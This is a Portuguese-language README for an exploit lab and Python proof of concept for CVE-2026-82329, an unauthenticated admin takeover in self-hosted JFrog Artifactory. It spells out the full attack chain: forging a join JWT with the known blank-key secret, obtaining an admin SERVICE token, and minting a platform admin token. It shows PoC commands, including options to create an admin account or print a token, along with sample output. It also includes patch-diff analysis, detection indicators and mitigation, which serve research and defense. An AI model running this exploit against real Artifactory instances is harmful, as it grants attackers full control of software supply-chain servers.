Lab Docker reproduzível e PoC em Python para CVE-2026-82329, uma bypass de autenticação não autenticada no JFrog Artifactory que leva à tomada de controle de administrador, com análise de diff de patch e orientação de detecção.
CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) · CWE-287 · divulgado em 2026-08-28 · explorado ativamente.
Um atacante não autenticado, adjacente à rede, gera um token de acesso de administrador da plataforma contra uma instalação padrão self-hosted do JFrog Artifactory. Este diretório contém um laboratório Docker reproduzível e um PoC validador parametrizado por URL.
Reproduzido e verificado A/B em artifactory-oss 7.161.19 (vulnerável, JFrog Access 7.191.11)
vs 7.161.20 (corrigido, JFrog Access 7.191.14).
A causa raiz foi derivada do próprio patch do fornecedor (diff de bytecode do serviço JFrog Access de código fechado entre as duas imagens de contêiner) e depois comprovada ao vivo — não retirada de nenhum relatório de terceiros.
getSigningKey("") = = — um
segredo totalmente conhecido. Assim, qualquer pessoa pode assinar um JWT de join válido (, , recente,
qualquer , ).pkcs7(<empty>, 32)0x20alg=HS256kid = SHA256("")iatservice_idskip_node_registration=truePOST /access/api/v1/registry/join (RegistryNoAuthResource — sem autenticação) →
HTTP 201, retorna um token SERVICE com escopo admin (público = Access).POST /access/api/v1/tokens com esse token, scope=applied-permissions/admin&audience=*
→ um token de acesso de administrador completo da plataforma (este é o comportamento de "geração de tokens admin" relatado
na natureza).$ python3 poc/cve_2026_82329_poc.py http://TARGET:8082
[+] Passo 1 /registry/join -> HTTP 201 token SERVICE gerado (scp=admin)
[+] Passo 2 /access/api/v1/tokens -> HTTP 200 token ADMIN (scp=applied-permissions/admin, aud=*)
[+] Passo 3 prova da capacidade de admin:
GET /artifactory/api/system/configuration -> HTTP 200 (18284 bytes, somente admin; sem auth=401)
GET /access/api/v1/tokens (lista TODOS os tokens) -> HTTP 200 (somente admin)
[=] VULNERÁVEL - atacante não autenticado obteve ADMIN nesta instância (CVE-2026-82329).
O JFrog Access 7.191.11 → 7.191.14 alterou exatamente 12 classes. As relevantes para segurança:
JoinKeyAccess.tryResolveJoinKeys()// VULNERÁVEL (7.191.11)
Arrays.stream(joinKey.get().split(",")).map(String::trim).forEach(jKey -> {
JoinKeyHashPair hashPair = new JoinKeyHashPair(jKey); // jKey == "" permitido
joinKeyListValuesForContext.put(hashPair.getHash(), hashPair); // chave em branco adicionada ao conjunto confiável
log.warn("Adding join key with kid: {} to additional join keys", hashPair.getHash());
});
// CORRIGIDO (7.191.14) -> entradas em branco filtradas
Arrays.stream(joinKey.get().split(",")).map(String::trim)
.filter(Strings::isNotBlank)
.forEach(...);
Sem join keys adicionais configuradas (o padrão), o valor da configuração é "";
"".split(",") produz [""], então um JoinKeyHashPair em branco (kid = SHA256("") =
e3b0c442…b855) entra no mapa confiável de "join keys adicionais". O JoinKeyHashPair também foi
endurecido para rejeitar null/blank no construtor.
Confirmado na instância padrão ao vivo — log de inicialização do servidor:
o.j.a.s.s.JoinKeyAccess - Adding join key with kid:
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 to additional join keys
Esse kid é exatamente SHA256("").
JoinKeyUtils.getSigningKey()public static byte[] getSigningKey(String hexEncodedKey) { return hexDecodeAndPad(hexEncodedKey, 32); }
// preenchimento pkcs7 de uma chave VAZIA: padLength = 32 -> 32 bytes, cada um == (byte)32 == 0x20
Portanto, o JWT de join para a chave em branco é assinado com HS256 sobre 32 bytes de 0x20 — conhecido pelo atacante.
RegistryNoAuthResource (@Path("/v1/registry"), sem @Authorized):
@POST @Path("join")
public Response join(String jwtStr) { // corpo = o JWT bruto
JwtToken token = this.joinService.join(jwtStr, ...); // valida: iat recente (<30s) + assinatura da join key
return Response.status(CREATED).entity(new JoinResponseModel(token.getTokenValue())).build();
}
JoinServiceImpl → ServiceTokenProviderImpl.getToken():
TokenSpec tokenSpec = TokenSpec.create().audience(accessServiceId)
.subject(serviceId).owner(serviceId).scope("admin").expiresIn(0L).refreshable(false);
return tokenService.createInternalTokenWithoutAuthAndNotify(tokenSpec).getAccessToken();
Um token de acesso sem expiração, com escopo admin, assinado com RSA. O token de serviço com
scope("admin") pode então gerar um token de usuário completo applied-permissions/admin via POST /access/api/v1/tokens.
ProjectResourceDois endpoints mudaram de @Authorized(AuthorizationType.SERVICE) → @Authorized(AuthorizationType.ADMIN)
(GET/DELETE {projectKey}/resources), confirmando que a primitiva de exploração é uma identidade SERVICE
forjada e que a superfície autorizada por SERVICE estava excessivamente exposta.
Somente self-hosted (a nuvem já foi corrigida). Vulnerável ≤ a última versão em cada branch abaixo; atualize para a correção correspondente:
| Branch | Vulnerável ≤ | Corrigido |
|---|---|---|
| 7.111 | 7.111.20 | 7.111.21 |
| 7.117 | 7.117.27 | 7.117.28 |
| 7.125 | 7.125.19 | 7.125.20 |
| 7.133 | 7.133.28 | 7.133.29 |
| 7.146 | 7.146.37 | 7.146.38 |
| 7.161 | 7.161.19 | 7.161.20 |
A correção acompanha o JFrog Access 7.191.14.
Consulte lab/README.md. Em resumo:
cd lab
ART_VER=7.161.19 docker compose up -d # vulnerável (padrão); aguarde ~3-4 min
until curl -sf http://localhost:8082/access/api/v1/system/ping >/dev/null; do sleep 5; done
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082 # -> VULNERÁVEL
docker compose down
ART_VER=7.161.20 docker compose up -d # controle corrigido
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082 # -> NÃO VULNERÁVEL (join HTTP 400)
O Artifactory 7.161.x requer PostgreSQL (seu serviço Access recusa o Derby embutido), então o laboratório inclui um sidecar postgres.
python3 poc/cve_2026_82329_poc.py http://<host-artifactory>:8082
python3 poc/cve_2026_82329_poc.py http://<host>:8082 --create-admin evil:P@ssw0rd1 # mudança de estado Pro/Ent
python3 poc/cve_2026_82329_poc.py http://<host>:8082 --token-only # imprime um token admin
Aponte-o para qualquer coisa que sirva como front-end do JFrog Router (/access/… acessível). Ele reporta VULNERÁVEL
(admin obtido) ou NÃO VULNERÁVEL (join rejeitado). Execute apenas contra sistemas que você está autorizado
a testar.
POST /access/api/v1/registry/join de hosts fora do cluster, especialmente
seguido imediatamente por POST /access/api/v1/tokens.Adding join key with kid: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 …
significa que a join key em branco é confiável (presente em padrões não corrigidos).scope=applied-permissions/admin,
audience=*, ou tokens admin com subject de serviço (sub=<svc>, scp=admin, aud=<access-id>).kid seja igual a SHA256("") (e3b0c442…b855).Atualize para a versão corrigida do seu branch (tabela acima). Além disso: coloque o Artifactory atrás de um
proxy reverso que não exponha /access/api/v1/registry/** a redes não confiáveis, e rotacione a
join key + revogue tokens admin inesperados após aplicar o patch.
Artefatos neste diretório: poc/ (validador), lab/ (laboratório Docker), analysis/ (diffs de patch +
evidências descompiladas), EVIDENCE.md (saída de execução capturada). Apenas para pesquisa de segurança autorizada.